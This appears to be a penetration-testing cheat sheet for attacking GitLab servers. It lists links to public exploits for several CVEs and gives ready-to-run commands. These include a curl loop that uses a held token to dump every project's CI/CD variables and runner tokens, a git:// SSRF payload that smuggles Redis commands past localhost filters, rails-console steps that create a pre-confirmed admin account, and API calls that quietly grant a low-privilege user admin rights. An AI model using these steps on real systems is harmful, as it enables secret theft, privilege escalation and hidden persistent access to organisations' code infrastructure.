GitLab

• https://devcraft.io/assets/hacktivitycon-slides.pdf

• https://www.praetorian.com/blog/self-hosted-github-runners-are-backdoors/

• https://github.com/dotPY-hax/gitlab_RCE

Search for Secrets

• https://embracethered.com/blog/posts/2022/hacking-gitlab-servers/

• https://rtfm.co.ua/en/git-scanning-repositories-for-secrets-using-gitleaks/

Search for CI/CD variables and runner tokens:

TOKEN=`cat token`
GITLAB=gitlab.megacorp.local
API="https://$GITLAB/api/v4"

curl -sH "Authorization: Bearer $TOKEN" "$API/user" | jq

# 1. bash get_project_ids.sh <PAGE_NUMBER> | tee -a projects
curl -sH "Authorization: Bearer $TOKEN" "$API/groups/<GROUP_NAME_OR_ID>/projects/?include_subgroups=true&visibility=private&per_page=100&page=$1" | jq -r '.[].id'

# 2. bash get_secrets.sh
for id in `cat projects`; do
    curl -sH "Authorization: Bearer $TOKEN" "$API/projects/$id" | jq '.path'

    curl -sH "Authorization: Bearer $TOKEN" "$API/projects/$id/variables" | jq

    curl -sH "Authorization: Bearer $TOKEN" "$API/projects/$id" | jq .runners_token | jq
done

Search for credential leaks with gitleaks:

$ eget -qs linux/amd64 "zricethezav/gitleaks" --to gitleaks
$ TMPFILE=`mktemp`; ./gitleaks detect -s . -v -r $TMPFILE > /dev/null; cat $TMPFILE | jq; rm $TMPFILE

GitLab Runners Abuse

• https://frichetten.com/blog/abusing-gitlab-runners/

• https://github.com/Frichetten/gitlab-runner-research

SSRF > Redis > RCE (CE/EE)

CVE-2018-19571, CVE-2018-19585

• https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41293

• https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/

• https://www.exploit-db.com/exploits/49334

Also possible to use this payload (instead of IPv6) to bypass filter checks for localhost, but works only with git:// scheme:

git://127.0.0.1:6379/%0a<REDIS_COMMANDS>

Path Traversal > LFI > RCE (CE/EE)

CVE-2020-10977

• https://xakep.ru/2020/05/26/gitlab-exploit/

• https://www.exploit-db.com/exploits/49076

Path Traversal > File Write > RCE (EE)

CVE-2019-19088

• https://gitlab.com/gitlab-org/gitlab/-/issues/36029

gitlab-rails

• https://docs.gitlab.com/ee/user/profile/account/create_accounts.html

Add new admin user from console:

$ sudo gitlab-rails console
irb(main):001:0 > ActiveRecord::Base.logger = Logger.new($stdout)
irb(main):002:0 > User.find(1)
=> #<User id:1 @root>
irb(main):003:0 > user = User.create(:username => 'snovvcrash', :password => 'Passw0rd!', :password_confirmation => 'Passw0rd!', :admin => true, :name => 'snovvcrash', :email => '[email protected]')
irb(main):004:0 > user.save!
irb(main):005:0 > user.confirmation_token
=> "ZVrM4KsyEdSoTJvo8kx_"

Then activate the account by navigating to https://gitlab.megacorp.local/users/confirmation?confirmation_token=ZVrM4KsyEdSoTJvo8kx_.

Or just skip the verification:

irb(main):003:0 > user.skip_confirmation!
irb(main):004:0 > user.save!

Also for GitLab >= 16.11 personal space assignment is required:

irb(main):003:0 > user.assign_personal_namespace(Organizations::Organization.default_organization)
irb(main):004:0 > user.save!

Enable password authentication for web (e. g., when only LDAP authentication is available):

$ sudo gitlab-rails console
irb(main):001:0 > Gitlab::CurrentSettings.update!(password_authentication_enabled_for_web: true)
irb(main):002:0 > exit
$ sudo gitlab-ctl reconfigure

Grant a low-priv user admin's privileges via API:

# Check token priveleges
$ curl -sX GET -H "PRIVATE-TOKEN: $ADMIN_TOKEN" "https://gitlab.megacorp.local/api/v4/user" | jq '.is_admin'
# Grant low-priv user admin's privileges
$ curl -sX PUT -H "PRIVATE-TOKEN: $ADMIN_TOKEN" "https://gitlab.megacorp.local/api/v4/users/$LOWPRIV_ID" -d "admin=true" | jq '.is_admin'
# Revert low-priv user's original privileges
$ curl -sX PUT -H "PRIVATE-TOKEN: $ADMIN_TOKEN" "https://gitlab.megacorp.local/api/v4/users/$LOWPRIV_ID" -d "admin=false" | jq '.is_admin'

Arbitrary File Read

CVE-2023-2825

• https://labs.watchtowr.com/gitlab-arbitrary-file-read-gitlab-cve-2023-2825-analysis/

• https://github.com/Occamsec/CVE-2023-2825#cve-2023-2825